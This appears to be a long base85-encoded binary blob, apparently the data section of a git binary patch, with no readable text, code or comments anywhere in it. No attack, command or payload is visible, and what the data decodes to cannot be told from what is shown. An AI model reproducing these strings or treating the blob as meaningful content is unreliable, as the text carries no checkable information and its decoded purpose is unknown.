zgV4!b@Y>%}yc&D)KWo>v$H-C!3YSl-6pgppt>K816pbHHps4o8^@{|tNg)-iNiWH{ z>=a-l+5{Nlv+kS3lNd`sT$_zxiybdP9+FAW7~<4CvGn~=nqi?&`~1Z4hJx$Oh*{|k z?{6AYoAuO(C9&VQm-|a%hb$lGu2wLlAzV5*joGF1obD3p?qqg!&g~q* zCV@d+F%%QU!fxlFav-I!F{QH1q2uXOt{OZU9xfkj)m=)^>hCD>z?#xp=IlLyY)1?u zg#Me(3(fvw;k&n6fL#WuBRHkc4qq=2ThALb=&>2pQqAGI?aDbS1}Gco&2f8nGEc3)}zYZHfzK-4hwskk7p zcsfdsqOmim+T(1laLsmG^O6cVIES#z-Miy!Qqnt@!Dpt(XZeD^eWxXQFwvo*C?=iO z>*0#BW=>L9%QtGwe}l-Ih!3sFofmo+-E~8vOSnbXy(&ReoNRI!RaX%5VMmF*1s2#3 zqT@mIq|kiV)0C3hbOe-uV{YWnd^YZHTH{>%gM{tCM4gjl3?LzVRfO zHihr;zclipH=f;uo|n7MIeIf%v5_x2k&!iOqG5(igj_u(E8oD?99g}}E!q%N<4~J> zWVr4`S^x}WIX6OHpM@4PLI;>g;o3cT40CwBp^TOlWpJKvz;dOlQN>t2V}%VIP_dyB zq;ijUQI7?YpH}OSw#-K;nH>X!CVw{aT~yc0D0_KE7{`#61#Z*0Ti;&*c2~s~=iPPt zRJNUoJ*RlL`rM{ocZq&?QnLm?$n?Wr+^!cbk;fh9ioO6`d8rO;%2oN4^ z$(;~HOf3!6lVatd`eBwcafTN?96uk($n?fPGWCrN1=5j!zJ>*+vAs9DHce$XgTsro*OR z>b&#gIihy(Hm5bqYQTfDcxB$b1*PPRPjut2gK1}e)_GP?LD#AN$H`~fr^4pX+@WFm zemcxr#3VNR%~0e>As@2R(oR2uMhXy1c!&Dm;Putm~?A)>Z*p%wFlJsLZe4;T%hkfms>OEMWv zT(_$rr=~!U63idxo|;-obIdJ4@kvEI4An}HMdefYr2dw zYjf+JxpYJlbY{>)1?f()(?XMwx+{CVwCt=`y9mymTy)TZ)u<6f%8X?_{s!*OQth9S zo6$q_SAOwWibfg+J#A`LRz?->zsV;{)D;CD=DZAD>xS>W&jd7gz<%x%=l$Fwo^s8x zW(U3dJE~Uz5T8}y;Oti_;BAGz3T4)GMA!)O%j?Ic#9vXAmaxbWMD7wiqre|MG#9oS zf{A8!K<0HEo0@EtD1%c#<2_<7M=Ia;-?h`lQt0A+$(^e(aa{h_D$9t=&7tCsYVsa##ip0NWC*ykRF{5}^N zLl1&27dj@QeisxdpC~ecgX2LD8?+%NsNlNP9-kLJ>oqbheGBDv8$!a)at(3Tpr-tK zE8g#$J-(xnL^wCMag{#a`X*Iyp=gwk0zHkdvQofoaln`0h(*|r6J@a92Q41mIg}N` z^4ZQKk>l8j(FNkI*E)$owH{-R06NIY>KG%Zq0@#x!al;fRR#)ZAk){C#Bz@&?|D@{^4wXyk zxxflj(gM!?t=g1-mb#^?FL9yGATx*-;yC7Ly3-&!FP~yU9HbxK4b*g| z43_lZ5rJm$8+UK&JN4oh@q8xN_{;$LhA5W=WK7ikhg5Jt&X*;VNq%s>)xd+bh)lN4 z0!bo(6+iBTdTdcOD<5tst5G$Bo+-Z#ldUfySSy{}9;TWv5wt-GHrrGuoNHTcvjpfW zL3oiEZ_r}P_Jjr{3uTI~1IzPZg{8Ux{Bm_fFvw04sc;K-^rRD4j&N>4iV2sRR{*>` zZ>KZ@LrQ{HB?x+*r&cL>wSU!DalrBbACNrE0MsiyhEfd~q2Vlh#zPsyj$_O2094-r z$YZ6qOCyArOpyTaZBJ{xr6K2-(Da2=h zAQpIsX22gUB4Yr3xXLTbBp`YJxv|^u3yjqQz7`ZB02-gAL3$U=cD={&SimC|`Rc73DqP1M-R*cAY2hl>shTaLvG$qZB#fNME|A2o zI(JiW*HFW^Gx+rmc>SL8=8uRCXnG>*EE|biJ@SRUM6duX$IA&5J))mx-EphjFbjTN zP%|BTopN&h%r*3SLCK8AeO|y4#79sPKTB5n`T;dY*<5DKgD#_m{-Mv_W&m%~pvH^7 z#fLO`Z7*6t4?WzCJQO(G)H&qA?tOQfJcvAa2_^x@72h3o!NznrI)-*@cbsFi8`#zUlsX z*Esd4DYEl3uRQ|KWLm&Y7ZTLG@SAjLFGzPBA^qa9#ooO6CH> z|G`;9MO&(7>&QQXC$cW+85<9}Gcy{y+o)H06QKK@kRS|a%muq60TYleo}HksxIOU5 z9QApxmbou4=e%+D+cf|s=v7XahWu0?o4X?PJTd4G37#H13avl@oYYr&8J6rHae z1C2e1ON&0Z0MLuqkrcH}18LeRhH4KOhgc`zwGVp2)` z4mX=M0MP+R&VE6vy}hneHS0?wfhO^PJE^yt1194CMT-rH-N1kKIGPy!A8KbyJr?V8 zq6^r3K*h`Bz8M5ab2!3eAt$1%sm5cU?6ycvOwrgyV6vOs`V^Kx=M5;KO}jcXlk%%X zREBWK48VWBJ)jgm+B$_Mw?CZ;qTmL?wbE@>KIDgx({yaYKzDcU>&qGr z(%-*>c)SRCr5^>+gU@Lr(+5|pwb?uhT-O>3P*K?ZQW_AF0fVJ@Wlu^3X|i8ADH?Jr ztRy!6Sl4!q18k2sE0oQrIa$CKfvl7dzOZg8`#qh7|Go=eA6)e{FDUddzfef9FCl(l zE-VPE6_{sNMUHfr;OdG!iUerjVpT7Ps)FQXMrDZxJL=|G5u?;u`3}$Xj*_@Q9J>B(7s4 z%AI|TtGo<|&zd8xo#;1x`28=lFKJgK46f}r=#ba_ECAXkq>&~W6chj7^hA+E+6eh1`jHCO*TJd@mb!)ZDu5ORaa8CK<4hu$Efk^*$B_qc;)Fif z)@1s|gVwJCIQk<*NkuY5`H{eem(j^-R%&eaNwQxRVbaSX;w;_{5JF zT@NH;q9S*WwvkbxI6yMg$N+v5W^tA_93qG6vF0qJ^+p_|Pcj74AK&2ByczC3f(E=M z$VLZV2fBzJnc5U(Gm`iI^EIv%@vlx&W&#z?6*S=HK>iI-ir7D~-CY?uG(*-y9c>X2 z!;9vOncN}@5K)V}YDs_M?*mFBu^(6+0~4~+ z<*ngV*ZcI0gO{{rZFxqO1k1QiNW%Oq1_YuEwd3D^tFc4boMHifRTs*K?DtNm^((5} z=Qx@w!31g`0I~hBN;q%xC5Qo{?KufFrtBz}HcL+;hW3A*EP?=7wqbqmmp2|1aP(X+ zeM)$2B;-2o&$@_zRf6eP6=%yT#w`VFyz82wdS}f|udP07r zCP{ottPPO|cEmDZ!nZ_~tXNimAnvgJPjQ;Q{+2mGIA5+X3Xo+Eqeq<1iA1z1Ep%q& z%HFtdTUt)H`fx&rcht2N4kMS|;iKidC&F$TRp^v{pac=t0}6nM`ZJ)IkR0FxVqDWh zAa5JFyw}Tcld8EDC`kc?d~ZEezop%V>{q)7B$6^jb$fO`B~>&FoR7dO2!rQy20pu+xi#Qe=WHZpd+|o#$pf17F+MC(?dBm3+-^;Ci`81Ym9Re6cb`|npDk=U0{yt zmQIC5O^;tE01ndo$B>$wpk=C#x*J#RQFH{t3Ho7rC@=UO%eu{MiU|=Ta$5HG;gnWv zrHP8FwQ<=>$>hQ}C7aA3$J>=3yWs=xGouTP2;+@iUSr%{5Bsp*uszFkLrOS|GBbz( zgt72Nzi*pLK zi%C)QV&yOMA9U(I_W$VBDK|yu9Sx|j@|3~oxa8v*uMgXbSPh)?<3Z+HXP206aQQe+=}pA+HGM8&Pm0P* zoflL{GV`8Ksm>`3E{gFMUI5$a1?=Bnh;kWwk+s6bjsjH8tTFNJq_T6`W{Q`WCI$DT zj=GEl*V}H2#*IVP(X?0EIwtsuRF$jH#KDK#1g4R)ZYHTv=G!O3j5rK;2Ji-ZvXa%K z1G|HLDE6qCyI13^oIiq(Bxl{`Lt3T&wEroJ3NPNt{z3R)ktt;37vQ#c?7cwFL@_7d zqRpK>#)U2{3`(b%IA`S2l;UtIEX1UcKZqX>!0@ zd`lT&h&cPnq}ubDPfF>biNyh`w?5)mOMzB*_T8tvk@C6R_KO6-^<0RkTwT%Mh8B(3 z$&A|ljg;IV6W-v0c@3Y1?v{2p(p!z@EqCmBG-Cit*Xl}gFv3(Jx; zt(WpVWpiV+Ot;#=saiiiWRK$COWL6iDdCGJ%Saehif`_`XX*3j8h^DZI6iBcyNCO@ zVq`?!?V%QpzxKjAeO@tVk@OYct1NWrTk66!H2P>?z|B4d?^uujm-r!+=eCmap~wI1 zvo6pDLkq1w7Yt^Fq{>g#++L&e!5hKUFj414t*ys@|4@43OBgyvfn=}!5sV}-+e(+3 zu1rf!sz=tG{jof9mkIC7CGTxEM`O!*>EPCS`^L}IN=Ip)dy0;$Lrb@|ehuc^Gv|`b zN+XT;swdSV+t=#u#(|H^*7w`y3G(k-^6z%fL@$DDes1HEScM&P>3rRG-ikHaQN(0# zP?B))V6SR!X^Xgpz<1A0kS7vZ{NOwVH;d3b%|uWFbr{q9=`aKCU<^6Q!s*52pA3}~ z>3cNR7?dWb(FkOypwJD0fMR1~rGg^U+Ym@$jFzbB;!@kS`x$ALt=zY>ynNRmL<(tE z+3R$@XvyZUli=^}CVqA+P;gvNoN`^QEUT#4=?uWZ2t%LL=PZ5X1T&k`ZttefF2L^U z?d|aTYaJ>?6Q}Do7Bnjzq>%!g*GrUNeDEz&BnF6WxM_0wIsPmfNJ~bOit#M-n@749 z&|(To3J=WW&wBm!d`Fp1E_6gVgjG_G1!nOi!^nd>Snh8Qu?IBJP~a)=KXpZk+}m~V z9=12d&AL%!ik^X@K<~;aip-yYZ{`zQ%wO%P?ImIl-8n}@_ z*Z0(!l|TN-4+LP^a9O*)l4vO|Bca~BYZ5d2N#1FX(3;m z$oVMpeOvZjl~aTBC{F2a_*NCbh{LPzzYefVpsg4T#xHHFh?pt7wl}S-ThZ38bN%!X}bE4H4(GXr%5^rTjX13 zf%Z6e*7x=Lz!`)?rLBepztu3pEQ-0ZbZ=0pt}!Q7Ic9t4H%~pmL{EsccA!|r{NIwR zr3e+-Qh|!#vsn6~WB{xI?Khl`jE;mUnN|{>G2BYi=9~gi#z&44BvmOY;PuGYg<(1< z>fwm}Q`OM{Pu43;Vn6E3_b36#DiaV_}J+G|#3c4{JbW4Qdv`*Xou{!O0AkhUb- z^n=YiNeiBYN7latKzm|ZlJwU?RAK4G7h+AM6v;wiNt%n*ZnChJd?Kcm9jOn z#EYDM5#6Ghs*>VOhBdEBfth7383RDNHQcPGawbwyo_*Oh#1db@-|Id7M z1-b--ga&}9eSt>(HFgv#MQNz$)=sgF>gg?U2}^wI8E$fC&Bv1i0DHO*+>vPo5bu`) zy%NC1$?catbzM78{OobpDta<0G6kCSZfSh((by=Epvb(MZTkV97Z&)3}kS(n=%Z#QoLq$gC(2-8;h z{DmedNxJC${Q9^On}D`P1dUTB#@}zneG|InB(X_~i};{kzTW>JYV=3t=`$iP)Ig~d z$SZ7k(NtIG+I&M0E%zHa!8c0tB6IRH=Oj!d=%C-kF*gTQvlh}|G8hdRvGW<-E!Jrd zb4Qlg>f&uUyo`!@vh~`AS}YQq&yx2?pkv1|tHE{?vc3#l0GkLvMM5shcm$jb4n7Sq zwX)V8-JgynExT9V)xy^-$^)Yk`>wg{ef{+^9idzTe@9pnI|?Wo;CzVZ{8L+2C?B4x zLPR88-ZDKW{dKKBuB3jGj%EeIV!oXr; z_Uj>4@I;!E_xfo-eZ_sVd#g?kY>p0AUdigg|vCxZGlRl>N?`m56Szt}_o=0p}mP9=G$bE^GL*^UN zr!+j^V?{yg<2G%qWJOECV(H4W5c&OG^7z4Z{L-M0#kXxi4*IZ~Osa)hB`a^hjq0b% zf1IMr{@eUed*eX^#%Lj<*PD@=j#K1mU{o^(W>G7>%+YE3j?dbrDTHi@(XkQ>4-)?| zuNd>FDdQGdckEFm9e`6>YA^b@L{9$9536rY^UE>9$pa#dmAwRwyT=~07vPC*oPfi- z2u|Ci*TmGldT<5<%in^!nFB3bW0}*}cA#6SM{eOnoyKw3lD4rORr5s|(Bb*cYBap$ zVEr659sRkSG@kYOTp!`Nsj^~?td~Kwy-&Q;Z3>O&IC@NN-dRr<_KK${sQnH?NxByT z+=B)UR%qcSJX)2`+@he588^&lHu)2j=wQEt=5p-3^qf2)9`sFvN>Wp27C+&*ptIWY z4s%w@53OI3B#gA;zB#$;iDV()Z+oVueiDv8m@Rgvsnc%~%p0g+oN zeKvsu)(y9SOJ78Vb0B=f$+$km&2hT?ZcK(}HtGwp)&eXO0hQ1s3r3ZA- z(qTle!)x!q0!nRas#cYd7#!>gBx&8n{GP z3d=X-EQ-t3(^o+LYXhQaB&Qqh<2k8{0B0X0E9K>Os}1v_X5zC}-VA21ECQ0U?>ne4 zIWLoeb(kEN-wkYcOV9(~)antqtNrjR@r4by$T%bBA<@O*Sy}RHfj-$k?Ov!Hvxh9} z%iS+s-lf0+XF4yBO1Zjn54TE@F~Y0|-cQNI{j%AkH+Q<*9P&k3VbtUTf%l4G2-DW= zjp0-Vh=^IDbJR7%iKdh;uOI9-6f5`yi0&P}`rgx1}AG&;OBP30^5P>WgfoOS2!+8$u5O96`^80KaaP)=U_ZuU87H?dh zVStS36PwkZH5J%yLfT=X<0;e_t;*GkWL}e=aEOQrAk<;p|1^9Xyesb3`!z3642}cQ zoNED4m#=LgoT5NAP-$KW`?vOO?)BQ2>c(lHB}{=gCTsdmXw!^l#&&m3jAjykMh{ z`xe;>B6GAVaE$v4wk<@V1a4*Xt2T9Wz4>_xT#$|>ePBH3HLqFw zQ1nGqdIDr;zvh~LDf)m z^!;Z6fNfXbt~U!95C*dvap{K^cXmR;3p+K_TKg!uS7l(mR+xNw-nbX^m7BRq~O zV0)aCx1LauW3~U~%_Ys$WYA1YW*?AO+VtUuJ-@N>F4Y>3NzkJ_4!oi!WVK#)Pvwse zTkyzAU=)^3y`Jo0cZ*6HCnV+fZ(z*=Y+q2quSGXRf{cLgUi*%<4cunL%Ys$-#=gl5 zrm;3oKv3!z`nrQ=6PNT7jAu<0WNv&IApXK#UemXy5%R}WY+%lx#UNJ*>U%(j7*mvh z@O7J^f(O@r9IP$(sj8K_A|W)s)^Iuub&Mn&N4OKyK}S8ln7@&;uUTwZb1V41+b#aG zUZ5`JgF{6RHn_n8#b=nX@&k@1ooguPb3;vcK#De7wqpeuMh8Oqi!y(ND;JJa=KBHJ zfC1wUrh!PC&EicNpoh&UoeH_K9^w3(+bbWio~ro?_~x6bmvYZSNV2^Wv1fEhz@Ov` zQe+ka!6UvN^jrZI(-~-v=^yF%Z>b6BR|&>Af<3}4oOmwfjv7`dzX-H|N;K6JtGFJ8bOWL16&Z`R<`3LmF zdf2r7k7Ng6-wJ{oB~+*d0-Vs&ETF-@iB{Q~t08YT1R07VpRZ+@RYD^dH;y0@pd5vZ zuK`tA?#VD?Q(Q+=jnD$(cvb(&1>m#rbjs_)z|Q3!(3QX?P01}p2lZ7vAQNZz1+{P= z@2cqMFXo>N^9NlP?=wN;?4Q}XIDC%WtA1aMfg)4zLGJxeXSR%`Kws?}``Scd?R@6N zf5P=Ovht4OFs;NqPP;mnrdw`N)dNQjzaJ}>__Oy zu)D`()7z(kx}X&-ce0p_?%fXq|2z5G$Vi}qi(b@tehfe|@%d+UkdYhIr;Y;S9nhWw z5&6;MobISKbQzTc;60BYxBj;dfYdGc@C>-+(_xbf+9$&nAH6iNrg}DmFM@u9dIYDS zD8iXiBR;JfqlamK+m-8FZfLdtro$i z%kB|H{^IW;$(a0p1Ic2na9_S&49FF!I1`E^_S^Nlp7R zh*sI*9xEVoL4H+GDY&OH7Wx_-Y<~4yE2xWIt#}6Fv+tQ0Y!PkZzN%SSeO$XWYTb1G zN+eI@T@n2ighA}*62Aj$H@}0uzV?N!&8@ih1-BJ9pF5$S7fi}OSdAuxts`%RdIWHk z5{Dk_`(%Bk=PbS3mF6|QgA}u!n#rFhDhMhQcG1S)G<<6&ADRkMAF}s|wd~~I?@B9G zlF1oybBSDu>~5h&>(ptFB1&KTm}~^_D`Q-%`jF1{Igxho{KFJcq3Vh6cDKuu4u{W3 z?T=CsSNwSfM&~y`Lk4aw6VS?v5dFT-F#FoeNZ@b>r-hNTw;rIm?&!28FgTLMa_s?I`+Sc zER`c|0vv^j3SBK8JNbwT=k~4d)~MPGFubXH zo5PjbdF<^SEZcVFuhBLe($3q&S~RQJ1Jn<&tk;yTP6w_P9qt#c*NhUi0}ctJnnK_l z#$pty>jznm=2hixim5jF1nV;j7{+v)R>BJNKcI`pH6%>BPt&1qz!Y>-Qju)$4@FT6 zYy1edl*`6?6qzCTd<*`f(iK$Qjv@;Cl=z)AG`+t8JDfM(;jQ*4ks$iW_=w9Z2Asnt zxb-gntVl{zBaRZjwZ1PcVg zA(J=;zFF{5$5ob|`QZo;S@UB|50TOM(S#Yg2;AD`s%{4$>jZ)b?uvCmCYb9AcIbdn zSN6KW3S#5O((@GA&+)RhEO}_I3etvAyA7(&!_08|q-7mbgdjB!>Pn`olF1v-I`i?S_nz~)Z$coR`?*8wLZC(f9r4OhHah*i zsk`E%-M0SXEiV>{%}#dp$}a-bM}y{KD}`&ky!lCrh6zazWt z>v8r?i8ABB(9g`?w80@X$Fj@(o63|WltK82^2Yww47+R;I|rgFQqR`{JGoN&!%mOn zVmV5SKF!LWV}m+;uyC{-s1?B3#*TPw zNU5qK*Tt2!cH;==lI0ZDu7kS@6~(`yg;wn#Y^Z|e*C6swOms>sI++5tw8MI9A{Rqs zu?UE=G&cohF+rNP-+*0)YwC3jdf5uG-amaZ)u;C6Vzcco>DmYW`iohg zhyw;@YEYP9`n!hFLeqhmK~h!IJI}95Es12W_Lu{Ic&;~>q`0){@;&b$;^+FPPfDP! z+t4M_4o>1H@1Ch~JMA2pGbHKH$*ZS%cSbPnpa_A2&hVqux3U~`wjIdD5=ZP24|fO- zo@hl9VL%vEHoDqshEP_agRMN2+&C9Fwd0;VXokha0bNSf1w&28J^g4u^k1+cni2zT z|G75(4bfK*WuqRi$Ok+viDQ~Bj`1!=>o4lKM$*N%-@3k`@cmZ(JX7vmn~LdQhLN0C zz9GSv0c8l4W{r3@pR^^5o>aer&mrGezj(CONuvq<#P9FMHtd`!B^7k@5Hdt1nKe?j zveRMp{G0yXiA6s#!kMtmJ>DH7kK}*%vLl%k3ni3CeFd@TB>bhJ^7YZ{T2p(rm(N0C zB0`#|E)bFkc(H_kJAM#74m`35(WBglH7t93p1|l3YNdxMh9u*B;^?o{qrGO)aColt zI=L^e1#*<71JOe&hGzzDo)ukG3b5c;`#I=+ez3Rp(hjTUu4EnXmSf|JN(n^i8f?_+ zd4dv{Jyq?T;Kz&9bMoL6hRr0~%*7sElu(?=NCD7{38TIhMc3~j%%_v-K!5H@qnd+T z#r+{I{r|7MHxH+}`~HV-RFWyV<3uQwCXQLg(@khFBtr_vF*iz?$D@JBL8g$9RFooQ z4Ch2t6N7DFongUVh;rWGg z#$sp8Jd!~P8S6cLMT`jMO<7z~s{RJTN-eII^ANhUy87jyil@-W8$+&Zg(i)tkvbQx zB|9elHj2aD`&fzWj?37jIk287u4}GwGn!Q8P)d^9JbiS$KF0lY|5~O!*Oy^RxIBdA zR3Bayoe@a|YXoB2bh6+i?@{k2W^Ug2D=*f1Gg?n6vNHx|-f1~Qm|c{P&7$OYQbJd3 z$n^CF7^R0!W_kJ@#ZG#8z|G}kb-8f+ugZrRFK({Jd?i+210|IkN|0=wEyPMarJ!>g zSPE-uhXJ4GH5oBj6wTbo(lc4xP$%WOrD?yaC&Ck*VlSwWF+I^((zK=&GJXG*s=Gg{~Q`TvXq= z$q_4kovx8xXkuUTlxzM`A7nX&>iXHwz2U~VN-}-5jjKAUHkM^2s!3$D(Y_?GBi>PG z?pO=ZE$aL0`WXm{@_;LOm(;G}bfPyha!Ba91cp3;r)H3+-SILE8e^5oDz#{95~WOU zI;&b}q@a^>@f|?%G1)c7p>I!RJs_DEo+|QyyoXb99{qHN!8tWvNzk$;+1wfLa>T}k z#pDxItk8<+voOl^}cT!E_)Rtm} zj%2e5RQUKvYaQvjWAfy+73Z_qUPrug{G}NOnJ$)rSNbc(9mf2U_C+*BvQO$AVGkjj zaD@);fyVbuVpKunqzel(XXz?BRInh)UZ?T(oNG?Ec&j`GLy*YM2KZcFX-w4DF2 zLFrvggnbl;s9iE8G|Nc>D=Z(PlM9hye2-qB3qu|JddeU+S>i~X{E@w$5deC46<%Dj zOHx{_yc}gd$~2V)a?Vz`c_cyZ8b@cTKL zaDHyshxVC{?b z!ZS6J9Y4%37-uJI54qyvM!G_|$x@-zmu0JdiPcLpXB!tLXDM>m@~iXk8hNM?FjT+{ zIa=Ct3^Yu&9kF1Il(vYkj2Oh{dWp!u{5$!K1D19lI1~a>C1vf+57nbQEcCbGykfs+ z!4^&9L6}H?ZQ37Du>>EV2iex6WKSI^%p6RWK{J z;_KRb?>oh-k&1pf<2-zvmgGhr;h$WX47NM!y~{J7h><8KK5Ox<>SZFCPvFxM3-R`H z3x(9US*az}rI{iuUfI_?_tNT2$vh&aI;=G99hur`GqOyj?;lszy{a~^w}G_(1ejS@ z`HhMR`;R7TCdD3B`Hti1yCpDh0ZOVb1PCwRHU<$Dt~9Yctp*m1v3F$q-oBqNuH#U9 z%$y_JlY@-bkS(p%?^F%03L-l#+w*qqqE5US_!{+9JCgKupqr)CtGaQXoZ#F2wm7R} zirDme-iv$sr2SDbc{56pXZA=eRfoH+DZ_l>Qi5M{f(Pv@QFI|UC{gl@pMG*eQB%Vd z4mb>zu0j+-Pu}Ke<$ZSOCOKki6>F^5mBzxvW8l1T44nDHM!~-=2Wqt4X0HK zhSj~Woz>sC-{`8*?1kt`Pgk%@r^k9)pLbTbtbJrcuf!zDYyjIP2uBE>IyL;F!;>>; zhkKrLuw^vf$}PcC{j5=}x%j>KzFE0&QDWAN%?f3FWTbcGryu#Wm1;10)pOLhaf*_$ zhR&r4j5#}nUnHp#%Zw;G>T}hZVwBQ1V)H6TvqY#=w|VN5w($WITGHqYntV&yxBL3n zj+UQ9kwL6b!@$8A%haxbCMoZyEHSlH4k4D=rd-?~!KC=Z%M5bgKKc^2x0jzPJBWc} z)yKR3w=8yoKftQwT*pbE9ff>4V2eKy?}tGuLiW%5$(J2s1`!b`W0elu>LKl+ZC711qZDN#hUI8x-v zfvD5DDg9u~#H-C3TUy=KB=XIXaISiR^x&m9&rxgZ0@(CV+?+5W)RdCQpRd*?&i_?g zs%>%kfF+XlbKMo@^(}G-f?(aBHXA=-q(wN-6S7+>yNeOF!UFpF{KV1Q#jiBKyt~m~ z&_+6P4Lt}PQQQ(oCeVWozj`j5(gVD-jYSDby0(;fUdAYD!+BET2%r;`QXlw&KdJLB zd>J!3??vg!uv@)KcVv{-ZNaIrbNA<8wR}HZc^e>a^8i7|F9+n%@z?ZGgyw&)fGKbr zE58I?_Ks~Waxs`L&dirJM_jnbhkR^lRf-L@W2|~f4;K*4PZ8Fy0lf8A9OtRNk4>>< zh7#}l%T0maPmbdwaPi06a+Q5HklRQ2>>!se`Y}_b$(mK!`rx$Xzz!3{3glql=#Xd6ex^V=RcQ+C*QR5+#1Z}vkTwl%s})F!mtJ3?nNNec z)qr+-sqARfJE&nG5|}7o7go~zI`w+VsCS=Tr1#8A7T`h?*21j!$^QsAxhn7Li7YXI zXYC}LKqzD{uDe~ljP#f^Z7!Hfm@mRWFIC4X$HoKcLRsPGOzd0|>&uzwP4CPjAf+1h zz94lgi3Q<112AqDfzSw_-#Bc#06`~ciQ5(p}jLK+x*l}0vG?&!HsBTs@-U?aN}mnYfqymzE_zU{)g^U0v7 zYEHcXV1FJ~fTjUn$MPONq^xxz@T$(XZ_VA9dcuS~V5(Aq(AkM0H5^3zgnoVe*fYNQ zPvxv>xcPqJIYH&Mawr@y-S&@^E4oKbMGPJbF$aa1=puCV5HH;!Hfp@#*OCN`7A&*f z|Mh2)?745Q@k8LL`=HFu3u9weqD)L;ZCvApOwlh2o9UNm0L~xbmugT#xQVlQQ_L^= zeTrF^^k^1@y_KVY1=szMy0S9_Nnkll57~!VjQ21Qpp&&yIyg3-_|sJx16jL0*1hW& zT4qY;JQox?R^n6#;a4DF20%oj+8LTDeI3vnJr!awcWOJEOlWinqDpc7DpNkmhS7&? zAG4G&i<*p(oPk-~nD!GGHSpx`SZA+pvf1)GcofIGz$Hnq0ZaHAG0}QxPEFuqzq+PV zk0VlQt=FbPGg*rj;5vPWA?-mYUjqF!=h7OrM&f4=@xjJRpKECZn0byFbHz!v4CJcU z>edVEqY5}?*;lNtko06R`5j;eq<(tutneV ztI5gIb<(VE{Jba|^s$`=KCCTDZeKQji8w`$?s$Jgf>OUF~3n5m0D1XTI}WFIRF z5q031Y==bhm#GrwgjqVw=5mQghi9!2%jSSdVHqkE=}ZhKkhu&tCK4D#%j*uy5~))D!jsFR_1=QYu&&~dbhy`PN`C}R(bLPE*!GpE-Mh8@=;w4_hT;>P%wB#su#J964}Lto72Dy7|)~EzHxHN#*)2xVc!%Nc>to zEseZ%6f5z7HjW&;NnJzQ{hB>GUw~b>Fz=p4&D%@qs;I(J`oe1ZXgz(1>M%X%-PU17 zpw4RRI7;$?dJ9NUH9&eykL#?H7=JmiF$hO`I1vt-j8%M|6YmNJg{b{P4RimMJDN;e zO$Nu!kmX-n(2iJ$h&J~6_PS1NM5tN z&+0+zFS1YhJ0P(yIhDX1kA>| z+Ya?*wrgS5m&y%D=3wJJ@@B;svOOi<`xHv5?JIKcTteQ)dTcuT=_&2UdjP!H>J*`@ zSd`==u#HW%j5qDkCFj*Aqo)Nh*`q^eSNbj>Em!(jju{uJvHw||Psb7-C7E;qO~NOz z5{?1M{Kqf)`FuzqVuSeGjEeSJuc!P*$l=9$7o-^mUbIf}A+S!b7UP{#xI~HsSrDc2 zj5b}ZUB{(@HT99%ln{$$eAdf(CI6SABTSl0@*kV3LdFk6QbndO1VVuQ0P0*3Ob--A zZN^>Hk)40ENC-&+Tb=!p*JlXL&$7u(vB*_OfA#_d_KAYA1NqqO3|>h+kG`rTbpql1 zn{rV*&mb`25wGtb3b#}g)EO;$^q8Fm#m{C2)xT7Xa-*3lk!LVjV>YAfq*e$L}0F&w-1QL};7TNi2F z9=CNS7y|t7ygUX@RkN=0>W5E!)l3Urk!+|N-T8fgHGlfp#ka2HbK7(_Yyv&SuMEuCp=) z&T|da>gM#b01lS`eShM{6j&8fJGLj@%gk2E+Wu9}J24gX%(cn9E1fx5l{Js0os#dP zi?|T5N#*JTxRZS#z>?1L2y|qOfl3MVLpHQ$579Xc&n;s7t?mT~+)0@XV$;Gj^Z?Oc zgYSghaDj}poT@l?mVWI@%jrG7p62a+6HI}jyuiES!KKB5J#f*7(XKZGiZK3X(;$;gt?|aU3Kngora& zwZ8lD!Tngzo0QmBw!a$pT*O~Hw(ut2|1?V|!vUvL~RozzzaZjE|r%HmVy+Q~ICDeQlsr*wChPeKT zn3(NUd+oHR*O@>|6&_!*n@(A=q5Z2sQR497NN@4Ey2HaGf~7i~2{ti-xbGC#C*YM) zr3l3Ph^$(8iLa`TzYk4t*Dm0bvTi!?E!ba*vW&Z~9NoR#d?|w0#NjQMVqEjg9wuQV zU?8sCtEuPbPB_VN^YnFY#p2eJI2$ONv~Lh-)PqlbI7K|r(b&N!4yJmACKR$_*bo<^ z(F6SZei(C0>eX$-)q{k*09$^ncXiUyS=yt%{l@Ug#V;d~zQLx1AWb%k-z0UU>qjHE z^!u}KR3{p12w{6JCOmnZ*HwC$``~#Alecs7LaaJ<)4T^$!%-KavL+voDO`UvJ16Wu zD!SlIjD6ivJ^1}>*Dn$2Zz-WM5qoOgj&+7j^lX z(lhN}nw^-WKEj9Jm-usrIN^Ge${6_FU#j}@er@-V5_!@2H8sXoJoc@SVY4TktNZ=$I4)iHIgsZH#BW!9H+DCVW@FpxD>?)oUZUHXn zuZ|Bm+#pN)n}OfSfVuXv@honyhQ)*mY1fXc@g;UKdp}-%xmp?oU_H0`Z`U-WSI^&0 zP{^-s;8$iZ&3uLK5w;;IR3@Jl@Cu$H1}1fhUF&!kdda!%$&q5yl1s+s#&$zvM-9_T zNYUR;�W%BNvFBk%-NZ?qksC2n>FAEyYl0Ppe)b@|lRDyehy5a)96X1eaqjX)m|9 zONI#W+&Mu!;csw)fLHCdAh$~TnPip$9AM5bX%8)Ur`rv9_{0M_$E|ypCwiKuWJDxg zl35V(L0o~j8%@(;y)>V%kf^0&J5V`jHar!Toht23H>e#U~P5Pa+W6BZlGhiS}YhMVHiQ z;Uv+vB7vL;v8PVufHt^S+cf?zer--&SB#iQF4NTs#t9}q4s8nKBcYQb`#T&4zw@`o z_-EV5ZZ2S*I7!yqBnZXdY;q<+gpk$ETj_?;FHYC-bmK1<{{^}MDS)JfqX*o-Uiq@e znrA`&uYnI2nW|{i#H_j&Wn^r{NRp`bL$TUEl|n5lsj0pt>JY0{3R9pSCD*yb5rFqQ zUW<2Gy!CJcbaUzht*Ji^*@Xjp)!b+cS6VY~@rwh10=6PvZYld13ju*}ue^kRl>IvaM;uCp1uN6ow zjpsksvKl>*-*@d#NwUd3O?hiNQHz-nl1CGCP9{4q&~!LSQLAvBjz8q=GmnNMQnQR1 ztF|yOrAMCa$h~|D)Hf@V8~HU4lDmNBZRwx*Bl?0kfO&fLZU75!<2D>^K6$XI&-?ja zYUCg;C<*1is3c>t8p}*&%_{WX$lwdrZ}eZ3C?$1El{tvVC3tG8|Vl*yMvAMHt*8`p~{Al4pc*1X*$mM`QC zDaO(Z?T+z4z+T~=FS`T6#FXCYLHB+9NOEO(Sxpsd=}Hh7_&9_W!F2TS3t6K$e<@W% zND(Sdzh07lGDJ#dhlWPg+Pey45y^wSqL@GEc?a|s$Gg5Z@^(x5&FZdBwCX*gxec+* 